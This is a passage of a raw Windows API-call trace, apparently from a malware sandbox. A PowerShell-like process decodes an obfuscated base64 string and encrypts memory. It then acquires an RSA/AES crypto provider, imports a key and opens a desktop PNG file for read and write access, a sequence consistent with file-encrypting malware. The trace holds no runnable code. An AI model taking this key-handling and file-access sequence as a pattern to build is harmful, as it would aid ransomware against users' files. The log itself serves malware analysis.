(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.690] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0126.690] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.690] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0126.690] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.690] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0126.690] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0126.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0126.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0126.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0126.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0126.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.691] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0126.692] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0126.692] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.692] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0126.692] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.692] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0126.692] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.692] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0126.692] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.692] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.693] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0126.693] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.693] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0126.693] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.693] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0126.693] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.693] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.693] SystemFunction041 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.693] SystemFunction040 (in: Memory=0x8e6f61c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f61c) returned 0x0 [0126.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.694] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.694] SystemFunction041 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction040 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction041 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction040 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction041 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction040 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction041 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] SystemFunction040 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.694] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.695] SystemFunction041 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.695] SystemFunction040 (in: Memory=0x8e3137c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3137c) returned 0x0 [0126.695] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x42ebc28) returned 1 [0126.696] CryptImportKey (in: hProv=0x42ebc28, pbData=0x6aecb94, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e85038) returned 1 [0126.696] CryptContextAddRef (hProv=0x42ebc28, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.696] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\xca8c\x6ae") returned 0x0 [0126.696] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.696] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.696] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.697] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0126.698] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0126.698] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.698] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.698] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.698] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.698] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.698] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.698] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.698] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.698] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.699] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.699] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0126.699] GetFileType (hFile=0x878) returned 0x1 [0126.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.699] GetFileType (hFile=0x878) returned 0x1 [0126.699] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 